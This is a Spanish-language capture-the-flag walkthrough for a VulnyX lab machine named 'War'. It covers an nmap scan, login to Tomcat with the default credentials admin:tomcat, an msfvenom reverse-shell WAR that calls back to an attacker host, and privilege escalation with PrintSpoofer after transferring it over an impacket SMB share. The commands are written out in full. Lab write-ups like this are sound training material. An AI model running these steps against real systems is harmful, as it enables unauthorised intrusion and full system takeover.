> For the complete documentation index, see [llms.txt](https://beafn28.gitbook.io/beafn28/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://beafn28.gitbook.io/beafn28/writeups/vulnyx/war.md).

# War

🔍 Dificultad: Fácil

### 🔍 **RECONOCIMIENTO**

En primer lugar, tras conectarnos a la máquina, utilizamos el comando:

```bash
ping -c 1 192.168.1.74
```

para verificar la conectividad de red.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2Fj5WvCKbo0zANYXnNBgqq%2Fimage.png?alt=media&amp;token=1d3d8c22-5335-481a-a32c-f1623831260a" alt=""><figcaption></figcaption></figure>

A continuación, se realiza el comando:

```bash
nmap -p- --open 192.168.1.74 --min-rate 5000 -n
```

para realizar un escaneo de puertos y servicios detallado en la dirección IP.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FFciKA2Og88R493HoF5OG%2Fimage.png?alt=media&amp;token=dbcb0734-26b6-4ff2-b58c-0c7820beb525" alt=""><figcaption></figcaption></figure>

Como podemos observar durante el escaneo, los puertos **135, 139, 445, 5040, 8080** y varios en el rango **49664-49670** están abiertos. Estos pertenecen a los servicios de **Microsoft RPC, NetBIOS-SSN, Microsoft-DS, HTTP-Proxy** y otros puertos desconocidos, por lo que a continuación se indagará más.

### 🔎 **EXPLORACIÓN**

Se utiliza el comando:

```bash
sudo nmap -sCV -p8080,135,139,445,5040 -v 192.168.1.74
```

para obtener más información sobre ese puerto específicamente.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FoF2iz4R2wlPwcTBf1Ryq%2Fimage.png?alt=media&amp;token=eef4eb0c-b255-4b80-be34-4b24f9856afb" alt=""><figcaption></figcaption></figure>

Revisamos el puerto 8080 y encontramos un **Tomcat**.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FqjxhrKaUHvaQ022BuYbh%2Fimage.png?alt=media&amp;token=225d8cc8-19ef-4412-8ba4-7336a26a6a42" alt=""><figcaption></figcaption></figure>

Nos logueamos con las credenciales por defecto de Tomcat.&#x20;

* admin:tomcat

{% embed url="<https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/tomcat/index.html>" %}

### 🚀 **EXPLOTACIÓN**

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2F4yVNP4WSjDoP8QVmGPyM%2Fimage.png?alt=media&amp;token=8aae911e-92dc-4ca6-8f62-04b81e73ec9b" alt=""><figcaption></figcaption></figure>

```bash
msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.65 LPORT=443 -f war -o reverse2.war
```

Lo subimos y nos ponemos en escucha.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FlMXMSblPIPlG4ELoZS8r%2Fimage.png?alt=media&amp;token=7961efd0-7ea3-46a5-a0e2-519e740c2f77" alt=""><figcaption></figcaption></figure>

### 🔐 PRIVILEGIOS

```bash
whoami
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FhHGtfqzxiYZkyTHrnRbB%2Fimage.png?alt=media&amp;token=f620605a-b473-453b-ab12-764c4e6ca41f" alt=""><figcaption></figcaption></figure>

La cuenta **NT AUTHORITY\Local Service** posee el privilegio **SeImpersonatePrivilege**, lo que le permite suplantar la identidad de otros procesos en el sistema. Este privilegio es potencialmente explotable en ataques como **Juicy Potato** o **PrintSpoofer**, que permiten la escalación de privilegios en entornos Windows mal configurados. Se recomienda evaluar los riesgos y aplicar las medidas de seguridad adecuadas para mitigar posibles vulnerabilidades.

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FGL8WZGvZzLP0GdqwsbEw%2Fimage.png?alt=media&amp;token=a896f7a9-1118-4b0b-b89f-4ed922cd93ad" alt=""><figcaption></figcaption></figure>

{% @github-files/github-code-block url="<https://github.com/itm4n/PrintSpoofer/releases/tag/v1.0>" %}

Transfiero el ejecutable **PrintSpoofer64.exe** al sistema objetivo

```bash
mv /home/beafn28/Descargas/PrintSpoofer64.exe .
impacket-smbserver a . -smb2support
```

Lo subimos.

```bash
cd %TEMP%
copy \\192.168.1.65\a\PrintSpoofer64.exe PrintSpoofer64.exe
```

Ejecutamos. Ya somos **root**.

```
.\PrintSpoofer64.exe -i -c cmd
```

<figure><img src="https://469389308-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FbKXfRjFOYJgGlV1An6Cf%2Fuploads%2FjVVHmrdo5yJPhGZXkV5t%2Fimage.png?alt=media&amp;token=e6a59261-3b5f-49f2-9cf5-80b1038a73de" alt=""><figcaption></figcaption></figure>
